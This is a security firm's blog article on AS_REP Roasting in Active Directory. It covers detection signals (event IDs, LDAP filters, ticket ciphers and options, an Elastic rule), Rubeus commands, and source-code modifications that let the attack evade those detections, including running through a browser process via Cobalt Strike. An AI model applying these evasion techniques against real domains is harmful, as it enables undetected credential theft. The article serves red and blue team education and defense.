Une question ? Contactez notre standard : 01 41 91 58 61 - Un incident de sécurité ? Faites-vous assister : 01 47 28 38 39
Cette publication est la partie 2 de 3 dans la série Kerberos OPSEC

In this article, we present the AS_REP Roasting attack, and the OPSEC considerations associated with it.

Many of the elements needed to fully understand this article are available in previously published articles:

  • The configuration of log collection on the domain controller is available here
  • Reminders of OPSEC considerations relating to Kerberos are presented in our first article

Also, Pixis’s Hackndo blog presents the overall operation of Kerberos within an Active Directory environment.

Demo context is a litlle bit different from what is presented in previous articles: the « GAL-CORUSCANT » machine is used here instead of the . The rest of the configuration remains similar.

Finally, several passages in this article refer to the Rubeus code. The commit used in this article is as follows: https://github.com/GhostPack/Rubeus/tree/351cb3bc04430bdf9e05eaf5cc25be7ed937d41f

AS_REP Roasting is a well-known attack technique within an Active Directory environment. It consists in exploiting a user’s ability to request a TGT in the name of another user, without specifying its password.

This option can be easily activated for a designated user through the Active Directory Users and Computers Management console :

The reason for this option, however, is hard to explain. The most likely reason for the existence of such an option would be retrocompatibility with applications that do not support Kerberos pre-authentication.

Attack explanation

When a user seeks access to one of the domain’s services, it presents its TGT to the KDC in order to authenticate itself and obtain a TGS. If no TGT is loaded, a TGT request will take place first.

Under normal circumstances, the user authenticates itself to the KDC by encrypting an authenticator with its password. The KDC is thus able to verify the user’s identity before sending back the KRB_AS_REP response that contains a session key encrypted with the user’s secret and the TGT.

If it is possible to obtain a KRB_AS_REP for a user without possessing its password, an attacker can carry out an offline bruteforce attack on the encrypted session key to potentially recover the user’s password, if it is not sufficiently robust.

Recon

This time, 2 accounts that do not need Kerberos preauth are present in our test environment, Bobba-Fett and Lama-Su.

Using the Rubeus tool, it is possible to query all accounts which do not require Kerberos preauth and obtain the AS_REP KDC response in a format that can be easily used by password cracking tools (john or hashcat to name a few) with the Rubeus.exe asreproast /nowrap command :

We can already see similarities with Rubeus’ Kerberoasting implementation, specifically the fact that a specific LDAP query is performed to discover vulnerable users: (&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304)) :

  • (samAccountType=805306368) to get domain users
  • (userAccountControl:1.2.840.113556.1.4.803:=4194304)) is a *Bitwise AND* comparison, checking if the 24th bit of the user’s UAC is 1, meaning that Kerberos preauth isn’t needed. The 1.2.840.113556.1.4.803 correspond to the Bitwise AND comparison (same as the & operator).

But we can also observe that the notion of ticket encryption is absent.

Ticket cipher

By default, Rubeus performs TGT requests using the RC4 encryption algorithm (Rubeus.exe asreproast /nowrap):

It’s easy to see the difference between the ticket request generated by the basic Rubeus command and one generated by a legitimate request. The following event corresponds to the TGT request made when using WinLogon:

We can see that the TGT is provided with the AES256 cipher (0x12).

This behaviour is easy to explain : By default, the KDC will always provide TGTs with the highest supported encryption level. Since the Windows 2008 R2 functional level, this default is AES256.

Ticket options

Let’s compare the two tickets we have :

  • The legitimate one, obtained through winlogon

The one obtained with Rubeus (the TGT is encrypted with AES256 cipher because of the modifications made to Rubeus described here):

We can see that the legitimate request has one more bit set than our illegitimate one, corresponding to the Name-canonicalize flag.

Process used

It is interesting to note from which process our AS_REP roasting attack is launched.

For example, during the Fork and Run process (execute-assembly feature in Cobalt Strike), the Rubeus tool is executed within the process defined by the spawnto command, in this case werfault.exe. Kerberos traffic is then carried out from the werfault.exe process:

Classic AS_REP Roasting detection

Here we look at the various methods to detect the AS_REP Roasting attack when carried out simply, i.e. using the command Rubeus.exe asreproast.

One important thing to bear in mind is that when an account has its Kerberos pre-authentication not required, then the value of PreAuthType will be 0:

We can then use this information to target more specificly our detection queries.

LDAP Recon

First of all, as we’ve seen before, Rubeus uses a particular LDAP request in order to identify AS_REP Roasting targets.

The ldap request is the following : (&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304)) which can be interpreted as (&(samAccountType=805306368)(userAccountControl&4194304)).

Such an LDAP request has a very low probability of being carried out within a legitimate context, with the exception of domain maintenance actions.

We can thus conclude that if an LDAP request with this parameter is made, it may be worthwhile to take a serious look at the reason for its presence :

Note: Monitor events with ID 1644 by filtering on the servicePrincipalNames=* string of the LDAP request. Although theoretically possible, rules based on LDAP Windows events are rarely implemented because the volume of LDAP logs to be collected is very large (Alternatives are emerging, with commercial solutions such as Microsoft Defender for Identity, or custom rules implemented on endpoint security solutions).

Ticket cipher

Targeting ticket requests that do not use the AES256 encryption algorithm (or more generally that do not use the highest cipher available) makes it possible to effectively filter out non-standard ticket requests:

Ticket options

From our internal tests and the result given by the Intrinsec’s SOC, the most common ticket options obtained following a legitimate TGT request is : [Forwardable, Renewable, Name-canonicalize, Renewable-ok] (0x40810010) while Rubeus request generate a TGT with [Forwardable, Renewable, Renewable-ok] (0x40800010) options. Filtering on this value can then be interesting, even if we don’t recommend using it stand-alone because numerous false-positives could be obtained:

Process used

Identifying Kerberos traffic not originating from the LSASS.exe process adds a correlation rule to the detection of an AS_REP Roasting attack:

It’s not impossible for Kerberos traffic to originate from a process other than `LSASS.exe`. Indeed, some web applications runs throught the port 88, making some trafic on the port 88 not coming from LSASS.exe legitimate.

A standard Elastic rule is defined here and can help refine the search for non-legitimate Kerberos traffic:

network where event.type == "start" and network.direction :
("outgoing", "egress") and destination.port == 88 and source.port >=
49152 and process.executable != "C:\\Windows\\System32\\lsass.exe"
and destination.address !="127.0.0.1" and destination.address !="::1"
and /* insert false positives here */ not process.name in
("swi_fc.exe", "fsIPcam.exe", "IPCamera.exe", "MicrosoftEdgeCP.exe",
"MicrosoftEdge.exe", "iexplore.exe", "chrome.exe", "msedge.exe",
"opera.exe", "firefox.exe")

Conclusion

Looking for a correlation between the following elements can lead to effective detection of *AS_REP Roasting* attacks when used with the basic Rubeus options:

  • A LDAP request containing the 4194304 LDAP filter will generally correspond to the recon of vulnerable accounts
  • A TGT requested without the AES256 encryption cipher
  • A TGT delivered with the 0x40800010 options
  • Kerberos trafic from an unknown or illegitimate process has been made

Finally, basic Rubeus AS_REP Roasting makes TGT request for all users that do not have Kerberos preauth enforced. When TGT requests are made for several of these users (i.e. several events 4678 with PreAuthType=0) in a short period, it can be due to the use of Rubeus.exe asreproast.

Here is a recap :

ActionEvent IDFilterExplanation
LDAP request used to list users without enforced Kerberos pre authentication1644 – LDAPLDAP filter userAccountControl&4194304An LDAP query with this filter will only occur if accounts without Kerberos preauth enforced are listed, which should never happen outside of AS_REP Roasting attacks or planned maintenance actions.
Large number of TGT tickets requested in a short amount of time4768 – Kerberos – TGT was requestedField PreAuthType=0Successive TGT requests for users who don’t have the enforced Kerberos preauth is not legitimate behavior.
Encryption downgrade4768 – Kerberos – TGT was requestedField TicketEncryptionType!=0x12TGTs are legitimately requested encrypted using the AES256 encryption algorithm. Any generation of TGT encrypted using another cipher should be monitored.
Unusual or unknown ticket options4768 – Kerberos – TGT was requestedField Ticket optionsThe ticket options of some tools are quickly recognizable. Rubeus: 0x4080001
Processes through which Kerberos traffic passes3 – SYSMONFileds process.name!="LSASS.exe", User, "Destination.port=88"When Kerberos traffic is sent from a process other than Lsass.exe, correlation with the rest of the events allows detection of AS_REP Roasting.

OPSEC turnaround

LDAP recon

To avoid generating an event with the ID 1644 with the userAccountControl&4194304 filter, which is specific to the identification of vulnerable users, a better option would be to do the recon action beforehand using another method such as using SharpHound collector.

Using SharpHound with the /DCOnly option collects, among other things, the information needed for AS_REP Roasting.

Once vulnerable users have been identified, performing TGT requests on a single user and spaced out over time avoids generating a large number of 4768 events in a short amount of time.

Rubeus lets you target a single user, using the /user option. However, when using this option, the userAccountControl&4194304 filter is still used, certainly to avoid any user error:

But if we also specify the /domain and /dc parameters, the LDAP request isn’t done:

Otherwise, we just need to modify Rubeus code in order to change this behaviour when user is specified:

# lib/Roast.cs - line 46

                if (String.IsNullOrEmpty(userName))
                {
                    userSearchFilter = "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))";
                }
                else
                {
                    userSearchFilter = String.Format("(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304)(samAccountName={0}))", userName);
                }

By commenting the else statement, we can avoid the use of LDAP query:

# lib/Roast.cs - line 46

                if (String.IsNullOrEmpty(userName))
                {
                    userSearchFilter = "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))";
                }
                else
                {
                    #userSearchFilter = String.Format("(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304)(samAccountName={0}))", userName);
                }

Ticket cipher

In order to make our TGT request as stealthy as possible we can ask for a TGT encrypted with the AES256 cipher (or more generally with the highest cipher supported by the domain).

Caution, even if the action is getting stealthier, the use of AES256 makes the TGT much longer to brute-force.

It is possible to use AES with Rubeus, by specifying the /aes option:

The encryption of the ticket is managed in the GetASRepHash, part of the lib\Roast.cs file :

# lib\Roast.cs - line 101

        public static void GetASRepHash(string userName, string domain, string domainController = "", string format = "", string outFile = "", string supportedEType = "rc4")
        {
            // roast AS-REPs for users without pre-authentication enabled

            string dcIP = Networking.GetDCIP(domainController, true, domain);
            if (String.IsNullOrEmpty(dcIP)) { return; }

            Console.WriteLine("[*] Building AS-REQ (w/o preauth) for: '{0}\\{1}'", domain, userName);

            byte[] reqBytes;
            byte[] response;
            AsnElt responseAsn;
            int responseTag;
            string requestedEType;

            // Specify RC4 as the encryption type by default, unless the /aes flag was provided
            if (supportedEType == "rc4")
            {
                reqBytes = AS_REQ.NewASReq(userName, domain, Interop.KERB_ETYPE.rc4_hmac).Encode().Encode();
                response = Networking.SendBytes(dcIP, 88, reqBytes);

As it stands, Rubeus only uses AES256 if the AES128 request fails. After a few minor modifications to the code, we succeeded in forcing the use of AES256:

# Commands\Asreproast.cs - line 73

            if (arguments.ContainsKey("/aes256"))
            {
                supportedEType = "aes256";
            }
# lib\Roast.cs - line 189

            else if (supportedEType == "aes256")
            {
                Console.WriteLine("[*] Requesting AES256 (etype 12) as the encryption type");

                // Attempt to use SHA256 (etype 12)
                reqBytes = AS_REQ.NewASReq(userName, domain, Interop.KERB_ETYPE.aes256_cts_hmac_sha1).Encode().Encode();
                response = Networking.SendBytes(dcIP, 88, reqBytes);

                if (response == null)
                {
                    return;
                }

                requestedEType = "aes256";

                responseAsn = AsnElt.Decode(response, false);
                responseTag = responseAsn.TagValue;

                if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR)
                {
                    // parse the response to an KRB-ERROR
                    KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);

                }
            }

Ticket options

Rubeus uses the NewASReq function, defined in lib\krb_structures\AS_REQ.cs in order to forge the TGT request :

# lib\krb_structures\AS_REQ.cs - line 23

        public static AS_REQ NewASReq(string userName, string domain, Interop.KERB_ETYPE etype, bool opsec = false, string service = null)
        {
            // build a new AS-REQ for the given userName, domain, and etype, but no PA-ENC-TIMESTAMP
            //  used for AS-REP-roasting

            AS_REQ req = new AS_REQ(opsec);

            // set the username to roast
            req.req_body.cname.name_string.Add(userName);

But we can see that the flag Name-Canonicalize is set if the /opsec option is used, which is not part of the options that can be used with the asreproast module of Rubeus:

# lib\krb_structures\AS_REQ.cs - line 67

            if (opsec)
            {
                string hostName = Dns.GetHostName();
                List<HostAddress> addresses = new List<HostAddress>();
                addresses.Add(new HostAddress(hostName));
                req.req_body.addresses = addresses;
                req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE;
                req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
                req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
                req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
                req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp);
                req.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp);
                req.req_body.etypes.Add(Interop.KERB_ETYPE.des_cbc_md5);

So we just have to modify a Rubeus code a few lines to add the new option /canonicalize:

# Commands\Asreproast.cs
# line 25

            bool canon = false;

# line 77

            if (arguments.ContainsKey("/canonicalize"))
            {
                canon = true;
            }
# lib\Roast.cs - line 116
            // Specify RC4 as the encryption type by default, unless the /aes flag was provided
            if (supportedEType == "rc4" || supportedEType == "des")
            {
                [...]
                reqBytes = AS_REQ.NewASReq(userName, domain, Interop.KERB_ETYPE.rc4_hmac, false, null, canon).Encode().Encode();
                response = Networking.SendBytes(dcIP, 88, reqBytes);
# lib\krb_structures\AS_REQ.cs - line 40

if (canon) { req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; }

And we finally get our TGT with the options we need:

We can then observe that the ticket is well requested with the wanted options:

Process used

As described before, Lsass.exe is the main process initiating Kerberos network trafic. While we can not apply Fork and Run on Lsass.exe (that wouldn’t be really stealthy at all), we can bypass the rule defined by Elastic:

network where event.type == "start" and network.direction :
("outgoing", "egress") and destination.port == 88 and source.port >=
49152 and process.executable != "C:\\Windows\\System32\\lsass.exe"
and destination.address !="127.0.0.1" and destination.address !="::1"
and /* insert false positives here */ not process.name in
("swi_fc.exe", "fsIPcam.exe", "IPCamera.exe", "MicrosoftEdgeCP.exe",
"MicrosoftEdge.exe", "iexplore.exe", "chrome.exe", "msedge.exe",
"opera.exe", "firefox.exe")

For example, we will then use the Fork and Run within a web browser process (C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe as example) or inject beacon in the target process and use an in-process execution technique like inlineExecute-Assembly.

We then can observe that the process that creates the Kerberos connection is C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe:

Conclusion

Combining different options and modifying the Rubeus code allows to request TGT for AS_REP Roasting in a OPSEC way:

  • Make upstream recon in order to not use the specific LDAP query used by Rubeus to discover accounts with no preauthentication
  • Target users one by one and spaced over time
  • Request TGT encrypted with AES256 cipher
  • Request TGT with the Canonicalize-Name option
  • Perform Kerberos requests from a quite legitimate process

Detecting « OPSEC » AS_REP Roasting

(This part is quite the same as the one regarding the Kerberoasting « OPSEC » detection)

As mentioned above, AS_REP Roasting can be carried out more discreetly by combining several techniques. However, it is still possible to detect these actions:

  • Checking that Kerberos flows originate from a legitimate process is a feasible way of detecting malicious actions (although it can generate false positives, as we saw earlier)
  • A good solution remains the use of « honeypots » domain accounts with the Kerberos preauth not enforced and a strong password (so that it can’t be broken). However, there are a few things to bear in mind to avoid arousing the suspicions of an attacker:
    • The « honeypot » account must match the accounts already present; for example, a LastLogon that’s too old might suggest an account that isn’t used for anything other than a trap; a suspicious attacker wouldn’t target this account
    •   The account should appear to be an privileged user (even if its not, eg: fake administrator group); an attacker will be less likely to target accounts that don’t allow him to establish an exploitation scenario.

We can the add the following line to the previous detection recap array:

ActionEvent IDFilterExplanation
« Honeypots » Accounts4768 – Kerberos – TGT was requestedFilter user.name=honeypot_userUse « attractive » accounts to trick the attacker
Navigation dans la série<< Kerberos OPSEC: Offense & Detection Strategies for Red and Blue Team – Part 1 : Kerberoasting<< Kerberos OPSEC: Offense & Detection Strategies for Red and Blue Team – Introduction
Verified by MonsterInsights